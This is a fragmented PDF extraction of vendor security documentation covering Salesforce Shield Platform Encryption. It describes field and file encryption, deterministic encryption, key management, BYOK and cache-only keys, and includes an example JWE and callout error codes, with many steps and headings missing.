What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along
EDITIONS
with some custom fields and many kinds of files. Shield Platform Encryption also supports person
accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption Available as an add-on
lets you protect only a special type of custom text field, which you create for that purpose. subscription in: Enterprise,
Performance, and
Feature Classic Encryption Platform Encryption Unlimited Editions. Requires
purchasing Salesforce
Pricing Included in base user Additional fee applies
Shield. Available in
license
Developer Edition at no
Encryption at Rest charge for orgs created in
Summer ’15 and later.
Native Solution (No Hardware or Software
Required) Available in both Salesforce
Classic and Lightning
Encryption Algorithm 128-bit Advanced 256-bit Advanced Experience.
Encryption Standard Encryption Standard
(AES) (AES)
PCI-DSS L1 Compliance
Masking
157
Salesforce Security Guide How Shield Platform Encryption Works
API Access
SEE ALSO:
Classic Encryption for Custom Fields
158
Salesforce Security Guide How Shield Platform Encryption Works
1. When a Salesforce user saves encrypted data, the runtime engine determines from metadata whether to encrypt the field, file, or
attachment before storing it in the database.
2. If so, the encryption service checks for the matching data encryption key in cached memory.
3. The encryption service determines whether the key exists.
a. If so, the encryption service retrieves the key.
b. If not, the service sends a derivation request to a key derivation server and returns it to the encryption service running on the
Salesforce Platform.
4. After retrieving or deriving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using
256-bit AES encryption.
5. The ciphertext is saved in the database or file storage. The IV and corresponding ID of the tenant secret used to derive the data
encryption key are saved in the database.
Salesforce generates a new master secret at the start of each release.
159
Salesforce Security Guide How Shield Platform Encryption Works
4. After retrieving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using NSS or JCE’s
AES-256 implementation.
5. The key ID (identifier of the key being used to encrypt the index segment) and IV are saved in the search index.
The process is similar when a user searches for encrypted data:
1. When a user searches for a term, the term is passed to the search index, along with which Salesforce objects to search.
2. When the search index executes the search, the encryption service opens the relevant segment of the search index in memory and
reads the key ID and IV.
3. Steps 3 through 5 of the process when a user creates or edits records are repeated.
4. The search index processes the search and returns the results to the user seamlessly.
If Salesforce admins disable encryption on a field, all index segments that were encrypted are unencrypted and the key ID is set to null.
This process can take up to seven days.
160
Salesforce Security Guide How Shield Platform Encryption Works
161
Salesforce Security Guide How Shield Platform Encryption Works
!!!!! This service is unavailable right now. For help accessing this
service, contact Salesforce.
Custom Date 08/08/1888 This field is encrypted, and the encryption key has been
destroyed.
01/01/1777 This service is unavailable right now. For help accessing this
service, contact Salesforce.
Custom Date/Time 08/08/1888 12:00 PM This field is encrypted, and the encryption key has been
destroyed.
01/01/1777 12:00 PM This service is unavailable right now. For help accessing this
service, contact Salesforce.
162
Salesforce Security Guide Set Up Your Encryption Policy
You can’t enter these masking characters into an encrypted field. For example, if a Date field is encrypted and you enter 07/07/1777,
you must enter a different value before it can be saved.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
Shield Platform Encryption Shield Platform Encryption not The Encrypted field attribute is Available in both Salesforce
enabled enabled ignored Classic and Lightning
Experience.
Shield Platform Encryption not Shield Platform Encryption The target Encrypted field
enabled enabled attribute indicates enablement
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
163
Salesforce Security Guide Set Up Your Encryption Policy
164
Salesforce Security Guide Set Up Your Encryption Policy
The Customize Application and Manage Certificates permissions are automatically enabled for users with the System Administrator
profile.
This restriction applies to actions taken through the API or from Setup pages, such as the Encryption Policy page or the Object Manager.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
165
Salesforce Security Guide Set Up Your Encryption Policy
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
166
Salesforce Security Guide Set Up Your Encryption Policy
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.
The Key Management page displays all tenant secrets of each data type. If you generate or upload a tenant secret while viewing
tenant secrets of a particular type, it becomes the active tenant secret for that data.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
167
Salesforce Security Guide Set Up Your Encryption Policy
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Available as an add-on
difference? subscription in: Enterprise,
Performance, and
Depending on the size of your org, enabling a standard field for encryption can take a few minutes. Unlimited Editions. Requires
1. Make sure that your org has an active encryption key. If you’re not sure, check with your purchasing Salesforce
administrator. Shield. Available in
Developer Edition at no
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select charge for orgs created in
Encryption Policy. Summer ’15 and later.
3. Click Encrypt Fields.
Available in both Salesforce
4. Click Edit. Classic and Lightning
5. Select the fields you want to encrypt. Experience.
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic
encryption scheme. To apply deterministic encryption to your data, select Deterministic from USER PERMISSIONS
the Encryption Scheme list. For more information, see “How Deterministic Encryption Supports
Filtering” in Salesforce Help. To view setup:
• View Setup and
6. Click Save. Configuration
The automatic Platform Encryption validation service checks for settings in your org that can block To encrypt fields:
encryption. You receive an email with suggestions for fixing incompatible settings. • Customize Application
Field values are automatically encrypted only in records created or updated after you’ve enabled
encryption. Contact Salesforce to update existing records so that their field values are encrypted.
Note: To encrypt standard fields on custom objects, such as Custom Object Name, see Encrypt Fields on Custom Objects and
Custom Fields.
168
Salesforce Security Guide Set Up Your Encryption Policy
169
Salesforce Security Guide Set Up Your Encryption Policy
170
Salesforce Security Guide Set Up Your Encryption Policy
USER PERMISSIONS
171
Salesforce Security Guide Set Up Your Encryption Policy
Note: If Salesforce enabled this feature for you before Spring ‘19, opt in again on the Advanced Settings page. If you don’t
opt in, you can’t enable or disable encryption on those fields. However, your encrypted custom fields in installed managed
packages remain encrypted.
Note: Before you begin, make sure that your organization has an active encryption key; if Available as an add-on
you’re not sure, check with your administrator. subscription in: Enterprise,
Performance, and
1. From Setup, in the Quick Find box, enter Encryption Policy, and then select Encryption Unlimited Editions. Requires
Policy. purchasing Salesforce
2. Select Encrypt Files and Attachments. Shield. Available in
Developer Edition at no
3. Click Save. charge for orgs created in
Important: Users with access to the file can work normally with it regardless of their Summer ’15 and later.
encryption-specific permissions. Users who are logged in to your org and have read access Available in both Salesforce
can search and view the body content. Classic and Lightning
Users can continue to upload files and attachments per the usual file size limits. Expansion of file Experience.
sizes caused by encryption doesn’t count against these limits.
Turning on file and attachment encryption affects new files and attachments. It doesn’t automatically USER PERMISSIONS
encrypt files and attachments that were already in Salesforce. To encrypt existing files, contact
To view setup:
Salesforce.
• View Setup and
To check whether a file or attachment is encrypted, look for the encryption indicator on the detail Configuration
page of the file or attachment. You can also query the isEncrypted field on the ContentVersion To encrypt files:
object (for files) or on the Attachment object (for attachments). • Customize Application
172
Salesforce Security Guide Set Up Your Encryption Policy
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
173
Salesforce Security Guide Set Up Your Encryption Policy
USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To enable encryption key
(tenant secret) management:
• Manage Profiles and
Permission Sets
174
Salesforce Security Guide Set Up Your Encryption Policy
Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted. USER PERMISSIONS
If pre-existing data is imported from Salesforce objects through the dataflow, the data
becomes encrypted on the next dataflow run. Other pre-existing data (such as CSV data) To view setup:
must be reimported to become encrypted. Although pre-existing data is not encrypted, • View Setup and
it is still accessible and fully functional in its unencrypted state when encryption is enabled. Configuration
To manage key material:
• Manage Encryption Keys
175
Salesforce Security Guide Set Up Your Encryption Policy
Note: By default, your results only list the first 250 errors per element. You can increase the number of errors listed in your
results to 5000. Contact Salesforce for help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
176
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption
IN THIS SECTION:
How Deterministic Encryption Supports Filtering
By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully
random ciphertext string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data.
The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In
these cases, because the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run
a SOQL query in custom Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with
probabilistic encryption, you can’t run the query. Deterministic encryption addresses this problem.
177
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption
Important: Probabilistic encryption is not supported on the email address field for the Contact object. To avoid creating duplicate
accounts during self-registration, use deterministic encryption.
178
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Advanced Settings.
5. Enable Deterministic Encryption.
You can also enable deterministic encryption programmatically. For more information, see PlatformEncryptionSettings in the Metadata
API Developer Guide.
9. Enable encryption for each field, and choose a deterministic encryption scheme. How you do that depends on whether it’s a standard
field or a custom field.
• For standard fields, from Setup, select Encryption Policy, and then select Encrypt Fields. For each field you want to encrypt,
select the field name, and then choose either Deterministic—Case Sensitive or Deterministic—Case Insensitive from the
Encryption Scheme list.
179
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption
• For custom fields, open the Object Manager and edit the field you want to encrypt. Select Encrypt the contents of this field,
and select an encryption scheme.
You receive an email notifying you when the enabelment process finishes.
Note: Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number
of records. To support filtering, the enablement process also rebuilds field indexes.
180
Salesforce Security Guide Key Management and Rotation
10. When you apply or remove deterministic encryption to a field, existing data in that field might not appear in queries or filters. To
apply full deterministic functionality to existing data, synchronize all of your data with your active key material from the Encryption
Statistics and Data Sync page. For more information, see Synchronize Your Data Encryption with the Background Encryption Service.
181
Salesforce Security Guide Key Management and Rotation
USER PERMISSIONS
182
Salesforce Security Guide Key Management and Rotation
4. Click Generate New Tenant Secret or Bring Your Own Key. If uploading a customer-supplied tenant secret, upload your encrypted
tenant secret and tenant secret hash.
Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data it encrypts with an active key.
5. If you want to re-encrypt field values with your active key material, synchronize new and existing encrypted data under your most
recent and keys. You can sync data from the Encryption Statistics and Data Sync page in Setup.
183
Salesforce Security Guide Key Management and Rotation
Warning: For clean and consistent results, we recommend that you contact Salesforce Customer Support for help with
reencrypting your data. You can apply your active key material to existing records by editing them through Setup, or
programmatically through the API. Editing a record triggers the encryption service to encrypt the existing data again using
the newest key material. This update changes the record’s timestamp, and the update is recorded in the field history or Feed
History. However, the field history in the History related list and Feed History aren’t reencrypted with the new key material.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.
184
Salesforce Security Guide Key Management and Rotation
IN THIS SECTION:
Gather Encryption Statistics
The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and
how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines.
You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the
background encryption service.
Interpret and Use Encryption Statistics
The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions
about managing your encrypted data.
USER PERMISSIONS
185
Salesforce Security Guide Key Management and Rotation
The gathering process time varies depending on how much data you have in your object. You’re notified by email when the gathering
process is finished. When your statistics are gathered, the page shows updated information about data for each object. If encryption
for field history and feed tracking is turned on, you also see stats about encrypted field history and feed tracking changes.
Note:
• You can gather statistics once every 24 hours, either by clicking Gather Statistics or running the self-service background
encryption service.
• Feed Item doesn’t display statistics because it’s derived from Feed Post. Gathering statistics for Feed Post is sufficient to confirm
the encryption status of both Feed Post and Feed Item.
Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.
The page offers two views of your encrypted data: a summary view and a detail view.
• Object—Lists your standard and custom objects. Data about standard objects are aggregated for all standard objects of a given
type. Data about custom objects are listed for each custom object.
• Data Encrypted—The total percentage of data in an object that’s encrypted. In the example above, 50% of all data in Account objects
are encrypted.
• Uses Active Key—The percentage of your encrypted data in that object or object type that is encrypted with your active key material.
• Sync Needed—Recommends whether to synchronize your data with the background encryption service. This column displays Yes
when you’ve added or disabled encryption on fields, changed a field’s encryption scheme, or rotated key material.
When the numbers in both Data Encrypted and Uses Active Key columns are the same, and Sync Needed column reads No, all your
encrypted data is synchronized. In the example above, the Case object is synchronized.
Sometimes the Sync Needed column reads Yes for an object when the Encrypted Data and Uses Active Key columns read have the same
values. This combination of values happens when encryption policy settings or keys have changed since the last time you gathered
statistics or synchronized your data. This combination also happens when statistics have been gathered for newly encrypted data, but
186
Salesforce Security Guide Key Management and Rotation
the object has never been synchronized. In the example above, the Account, Contact, Lead, and Opportunity objects meet one or more
of these conditions.
A double dash (--) means that statistics haven’t been gathered for that object or object type yet. In the example, statistics haven’t been
gathered for the Opportunity and Attachment objects.
Note: Not all field data is stored in the same field that displays data in the UI. For example, some Person Account field
data is stored in the corresponding Contact fields. If you have Person Accounts enabled but don’t see encrypted fields
under the Account detail view, gather statistics for the Contact object and check there.
Similarly, Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision
objects. The Encryption Statistics page lists these objects and all fields that hold encrypted Chatter data in the database.
Some fields listed on the Encryption Statistics page aren’t visible in the UI by the same name, but they store all encrypted
data that’s visible in the UI. See Which Standard Fields and Data Elements Can I Encrypt? on page 144 in Salesforce Help
for a list of the encrypted Chatter fields.
History
The History tab shows data about field history and feed tracking changes.
• Field—All encryptable standard and custom fields in the object that contain data.
• API Name—The API name for fields that contain data.
• Encrypted Field History—The number of encrypted field history values for a field type across all objects of a given type. For
example, you select the Account object and see “2” in the Encrypted Field History column for Account Name, which means that
Account Name has two encrypted field history values.
• Unencrypted Field History—The number of plaintext field history values stored for a field.
• Encrypted Feed Tracking—The number of encrypted feed tracking values stored for a field.
187
Salesforce Security Guide Key Management and Rotation
• Unencrypted Feed Tracking—The number of plaintext feed tracking values stored for a field.
Note: Note: Synchronizing your data encryption doesn't modify the record LastModifiedDate or LastModifiedById timestamps.
It doesn't execute triggers, validation rules, workflow rules, or any other automated service. However, it does modify the
SystemModStamp.
188
Salesforce Security Guide Key Management and Rotation
Tip: Also check that your field values aren’t too long for encryption.
Tip: If you’re not sure which data is already encrypted, visit the Encryption Statistics page, which keeps a record of all fields that
you have encrypted.
Note: Keep these points in mind when disabling encryption on data encrypted with destroyed material.
• When you disable encryption for files that were encrypted with a key that’s been destroyed, the files don’t automatically go
away. You can ask Salesforce support to delete the files.
• The automatic decryption process takes longer when you disable encryption on fields encrypted with a key that’s been
destroyed. Salesforce notifies you by email when the process finishes.
189
Salesforce Security Guide Key Management and Rotation
IN THIS SECTION:
Sync Data with Self-Service Background Encryption
Synchronizing your data with your active key material keeps your encryption policy up to date. You can sync data in standard and
custom fields, the Attachment—Content Body field, and for field history and feed tracking changes from the Encryption Statistics
and Data Sync page in Setup. To synchronize all other encrypted data, contact Salesforce Customer Support.
Note: The sync process time varies depending on how much data you have in your object. You’re notified by email when the
sync process is finished. You can sync your data from the Encryption Statistics and Data Sync page once every 7 days.
If you have lots of data in Attachment—Content Body fields, the sync process breaks your request into batches and syncs them
in sequence. However, sometimes we can’t encrypt all these batches at once. This is a service protection that helps Salesforce
maintain functional network loads. If the sync process finishes but the encryption statistics status is less than 100% complete, click
Sync again. The background encryption service picks up where it left off.
190
Salesforce Security Guide Key Management and Rotation
191
Salesforce Security Guide Key Management and Rotation
192
Salesforce Security Guide Key Management and Rotation
193
Salesforce Security Guide Key Management and Rotation
194
Salesforce Security Guide Key Management and Rotation
195
Salesforce Security Guide Key Management and Rotation
USER PERMISSIONS
Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you reach the limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data that it encrypts with an active key.
4. Export your tenant secret, and back it up as prescribed in your organization’s security policy.
To restore a destroyed tenant secret, reimport it. The exported tenant secret is different from the tenant secret you uploaded. It’s
encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
196
Salesforce Security Guide Key Management and Rotation
7. In the Upload Tenant Secret section, attach both your encrypted data encryption key and your hashed plaintext data encryption
key.
8. Click Upload.
This data encryption key automatically becomes the active key.
From now on, the Shield Key Management Service (KMS) skips the derivation process and uses your data encryption key to directly
encrypt and decrypt your data. You can review the derivation status of all key material on the Key Management page.
197
Salesforce Security Guide Key Management and Rotation
9. Export your data encryption key and back it up as prescribed in your organization’s security policy.
To restore your data encryption key, reimport it. The exported data encryption key is different from the data encryption key you
uploaded. It is encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in
Salesforce Help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
198
Salesforce Security Guide Key Management and Rotation
Your certificate is not active, or is Ensure that your certificate settings are compatible with the Bring Your Own Key feature. Under
not a valid Bring Your Own Key the Certificate and Key Edit section of the Certificates page, select a 4096-bit certificate size,
certificate. disable Exportable Private Key, and enable Platform Encryption.
You haven’t attached both the Make sure that you attach both the encrypted tenant secret and hashed tenant secret. Both of
encrypted tenant secret and the these files should have a .b64 suffix.
hashed tenant secret.
Your tenant secret or hashed Several problems can cause this error. Usually, the tenant secret or hashed tenant secret wasn't
tenant secret wasn’t generated generated using the correct SSL parameters. If you are using OpenSSL, you can refer to the script
properly. for an example of the correct parameters you should use to generate and hash your tenant
secret. If you are using a library other than OpenSSL, check that library's support page for help
with finding the correct parameters to both generate and hash your tenant secret.
Still stuck? Contact your Salesforce account executive. They'll put you in touch with someone
at Salesforce who can help.
I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive. They’ll put you in touch with a support team specific to this feature.
199
Salesforce Security Guide Key Management and Rotation
200
Salesforce Security Guide Key Management and Rotation
201
Salesforce Security Guide Key Management and Rotation
The enhanced cache controls provide a single source of truth for key material used to encrypt and decrypt your data. Subsequent
encryption and decryption requests go through the encrypted key cache until the cache-only key is revoked or rotated, or the cache is
flushed. Once the cache is flushed, the Cache-Only Key Service fetches key material from your specified key service. The cache is regularly
flushed every 72 hours, and certain Salesforce operations flush the cache on average every 24 hours. Destroying a data encryption key
invalidates the corresponding data encryption key that’s stored in the cache.
Because cache-only keys bypass the key derivation process, they’re used to directly encrypt and decrypt your data.
Prerequisites
1. Prepare your Salesforce org. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or
customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on the Key Management page in Setup.
2. Generate and Host Key Material. The cache-only key exchange protocol and format requires that keys are wrapped in an opinionated
JSON Web Encryption (JWE). This format uses RSAES-OAEP for key encryption and AES GCM for content encryption.
Use a secure, trusted service to generate, store, and back up your key material.
3. Use and maintain a reliable high-availability key service. Choose a high-availability key service with an acceptable service level
agreement (SLA), predefined maintenance procedures, and processes to mitigate any potential impact to business continuity.
When the connection between Salesforce and your key service is broken, the Cache-Only Key Service can encrypt and decrypt data
as long as your key material is in the cache. However, keys don’t stay in the cache for long. The cache is regularly flushed every 72
hours, but some Salesforce operations flush the cache about every 24 hours.
If your key material isn’t in the cache, and the connection to your key service is broken, users can’t encrypt or decrypt records. Make
sure that you use a key service that Salesforce can connect to at any time. This is especially important during busy times like the end
of year or end of quarter.
4. Maintain a secure callout endpoint. The cache-only key exchange protocol requires that keys are wrapped in an opinionated JSON
format. Host your wrapped key inside the key response at a location Salesforce can request.
The Catch-Only Key Service uses named credentials to establish a secure, authenticated connection to allowed IP addresses and
domains. You can configure your named credentials to use popular authentication formats, such as Mutual TLS and OAuth. You can
change these authentication protocols at any time.
5. Actively monitor your key service logs for errors. While Salesforce is here to help you with the Shield Platform Encryption service,
you are responsible for maintaining the high-availability key service that you use to host your key material. You can use the
RemoteKeyCalloutEvent object to review or track cache-only key events.
Warning: Because you’re in control of your keys, you’re responsible for securing and backing up your key material. Salesforce
can’t retrieve lost key material stored outside of our encrypted key cache.
6. Know how to format and assemble your key material. Format key material hosted outside of Salesforce in a way that’s compatible
with the Cache-Only Key Service. Make sure that you can generate the following components in the required formats.
202
Salesforce Security Guide Key Management and Rotation
BYOK-compatible certificate A 4096-bit RSA certificate who’s private key is encrypted with a
derived, org-specific tenant secret key
Unique key identifier Allows numbers, uppercase and lowercase letters, periods,
hyphens, and underscores
JSON web token ID (JTI) A 128-bit hex encoded, randomly generated identifier
Read more about assembling your key material in the Generate and Assemble Cache-Compatible Keys section. You can also look at our
Cache-Only Key Wrapper in Github for examples and sample utility.
Terminology
Here are some terms that are specific to the Cache-Only Key Service.
Content Encryption Key
For each key request, your key service endpoint generates a unique content encryption key. The content encryption key wraps the
data encryption key, which is in turn encrypted by the key encrypting key and placed in the JWE header of the key response.
JSON Web Encryption
The JSON-based structure that the Shield Platform Encryption service uses to encrypted content. JSON Web Encryption, or JWE, uses
RSAES-OAEP for key encryption and AES GCM for content encryption.
JSON Web Token ID
A unique identifier for the JSON web token, which enables identity and security information to be shared across security domains.
Key Identifier
The Key ID, or KID, is the unique identifier for your key. The KID is used as the suffix in the named credential and for validation of the
KID in the response. In Setup, enter this identifier in the Unique Key Identifier field.
203
Salesforce Security Guide Key Management and Rotation
4. Create the JWE protected header. The JWE protected header is a JSON object with 3 claims: Available in both Salesforce
the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the Classic and Lightning
data encryption key, and the unique ID of the cache-only key. Here’s an example header to get Experience.
us started.
{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}
6. Encrypt the content encryption key with the public key from the BYOK certificate using the RSAES-OAEP algorithm. Then encode
this encrypted content encryption key as BASE64URL(Encrypted CEK).
l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvfT24oBCWkh6hy_dqAL7JlVO4
49EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWBfpMsl4jf0exP5-5amiTZ5oP
0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3YohuMVlmCdEmR2TfwTvryLPx4K
bFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv46m8mUATZSD4hab8v3Mq4H3
3CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSslCVav4buG8hkOJXY69iW_zhz
tV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7IvzeneL5I81QjQlDJmZhbLLor
FHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9PwrULWyRTLMI7CdZIm7jb8v9AL
xCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZyEnhj2x-3Vfv5hIVauC6ja1
B6Z_UcqXKOc
7. Generate an initialization vector for use as input to the data encryption key’s AES wrapping. Then encode it in base64url.
N2WVMbpAxipAtG9O
8. Wrap your data encryption key with your content encryption key.
a. Encode the JWE header as ASCII(BASE64URL(UTF8(JWE Protected Header))).
b. Reform authenticated encryption on the data encryption key with the AES GCM algorithm. Use the content encryption key as
the encryption key, the initialization vector (the bytes, not the base64URL encoded version), and the Additional Authenticated
Data value, requesting a 128-bit Authentication Tag output.
c. Encode the resulting ciphertext as BASE64URL(Ciphertext).
d. Encode the Authentication Tag as BASE64URL(Authentication Tag).
63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk32DinS_zFo4
204
Salesforce Security Guide Key Management and Rotation
and
HC7Ev5lmsbTgwyGpeGH5Rw
9. Assemble your JWE as a compact serialization of all the preceding values. Concatenate values separated by a period.
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ.l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvf
T24oBCWkh6hy_dqAL7JlVO449EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWB
fpMsl4jf0exP5-5amiTZ5oP0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3Yoh
uMVlmCdEmR2TfwTvryLPx4KbFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv
46m8mUATZSD4hab8v3Mq4H33CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSsl
CVav4buG8hkOJXY69iW_zhztV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7Iv
zeneL5I81QjQlDJmZhbLLorFHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9Pwr
ULWyRTLMI7CdZIm7jb8v9ALxCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZ
yEnhj2x-3Vfv5hIVauC6ja1B6Z_UcqXKOc.N2WVMbpAxipAtG9O.63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk
32DinS_zFo4.HC7Ev5lmsbTgwyGpeGH5Rw
For more detailed examples of this process, check out the sample Cache-Only Key Wrapper in Github. You can use either the utility in
this repository or another service of your choosing.
205
Salesforce Security Guide Key Management and Rotation
206
Salesforce Security Guide Key Management and Rotation
Salesforce checks the connection to the endpoint specified by the named credential. If Salesforce can reach the endpoint, the key
specified for the Unique Key Identifier becomes the active key. All data marked for encryption by your encryption policy is encrypted
with your cache-only key.
If Salesforce can’t reach the specified endpoint, an error displays to help you troubleshoot the connection.
Cache-only key status is recorded as Fetched on the Key Management page. In Enterprise API, the TenantSecret Source value is listed
as Remote.
Tip: You can monitor key configuration callouts in the Setup Audit Trail. When a callout to an active or archived cache-only key
is successful, the Setup Audit Trail logs an Activated status. Individual callouts are not monitored in Setup Audit Trail.
207
Salesforce Security Guide Key Management and Rotation
USER PERMISSIONS
{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b","jti":"e5ab58fd2ced013f2a46d5c8144dd439"}
3. From Setup, enter Platform Encryption in the Quick find box, and click Advanced Settings.
4. Select Enable Replay Detection for Cache-Only Keys.
You can also enable replay detection programmatically. For more information, see EncryptionKeySettings in the Metadata API
Developer Guide.
From now on, every callout to an external key service includes a unique RequestIdentifier.
Warning: If you enable replay detection but don’t return the nonce with your cache-only key material, Salesforce aborts the
callout connection and displays a POTENTIAL_REPLAY_ATTACK_DETECTED error.
208
Salesforce Security Guide Key Management and Rotation
5. Review the details about your callout connection. If your callout connection was unsuccessful, you see a descriptive error message
at the bottom of the results pane. Use this message to make the appropriate adjustments to your key service.
209
Salesforce Security Guide Key Management and Rotation
Note: Your cache-only key is unique to your org and to the specific data to which it applies. Available in both Salesforce
When you destroy a cache-only key, related data isn’t accessible unless you reactivate it and Classic and Lightning
make sure that Salesforce can fetch it. Experience.
USER PERMISSIONS
USER PERMISSIONS
210
Salesforce Security Guide Key Management and Rotation
The Shield Key Management Service fetches the reactivated cache-only key from your key service, and uses it to access data that
was previously encrypted with it.
Note: You can sync your data to your active cache-only key just like you can with any other key material.
211
Salesforce Security Guide Key Management and Rotation
Einstein Analytics
Backups of Einstein Analytics data are encrypted with your Shield Platform Encryption keys. If you encrypt data in Einstein Analytics
datasets with a cache-only key, make sure that the Analytics cache-only key is in the same state as your Data in Salesforce-type cache-only
key.
Service Protections
To protect against Shield KMS interruptions and ensure smooth encryption and decryption processes, you can have up to 10 active and
archived cache-only keys of each type.
If you reach your key limit, destroy an existing key so that you can create, upload, reactivate, rearchive, or create a callout to another one.
Remember to synchronize your data with an active key before destroying key material.
MALFORMED_CONTENT_ENCRYPTION_KEY The remote key service Check that you set up your
returned a content encryption named credential properly
212
Salesforce Security Guide Key Management and Rotation
MALFORMED_DATA_ENCRYPTION_KEY The content encryption key couldn’t Check that you set up your named
decrypt the data encryption key that was credential properly and are using the
returned in the remote key service’s JWE. correct BYOK-compatible certificate.
The data encryption key is either Named credentials must call out to an
malformed, or encrypted with a different HTTPS endpoint.
content encryption key.
MALFORMED_JSON_RESPONSE We can’t parse the JSON returned by your Contact your remote key service.
remote key service. Contact your remote
key service for help.
MALFORMED_JWE_RESPONSE The remote key service returned a Contact your remote key service.
malformed JWE token that can’t be
decoded. Contact your remote key service
for help.
EMPTY_RESPONSE The remote key service callout returned Contact your remote key service.
an empty response. Contact your remote
key service for help.
RESPONSE_TIMEOUT The remote key service callout took too If your key service is unavailable after
long and timed out. Try again. multiple callout attempts, contact your
remote key service.
UNKNOWN_ERROR The remote key service callout failed and Contact your remote key service.
returned an error: {000}.
INCORRECT_KEYID_IN_JSON The remote key service returned JSON with Check that you set up your named
an incorrect key ID. Expected: {valid keyID}. credential properly and are using the
Actual: {invalid keyID}. correct BYOK-compatible certificate.
INCORRECT_KEYID_IN_JWE_HEADER The remote key service returned a JWE Check that you set up your named
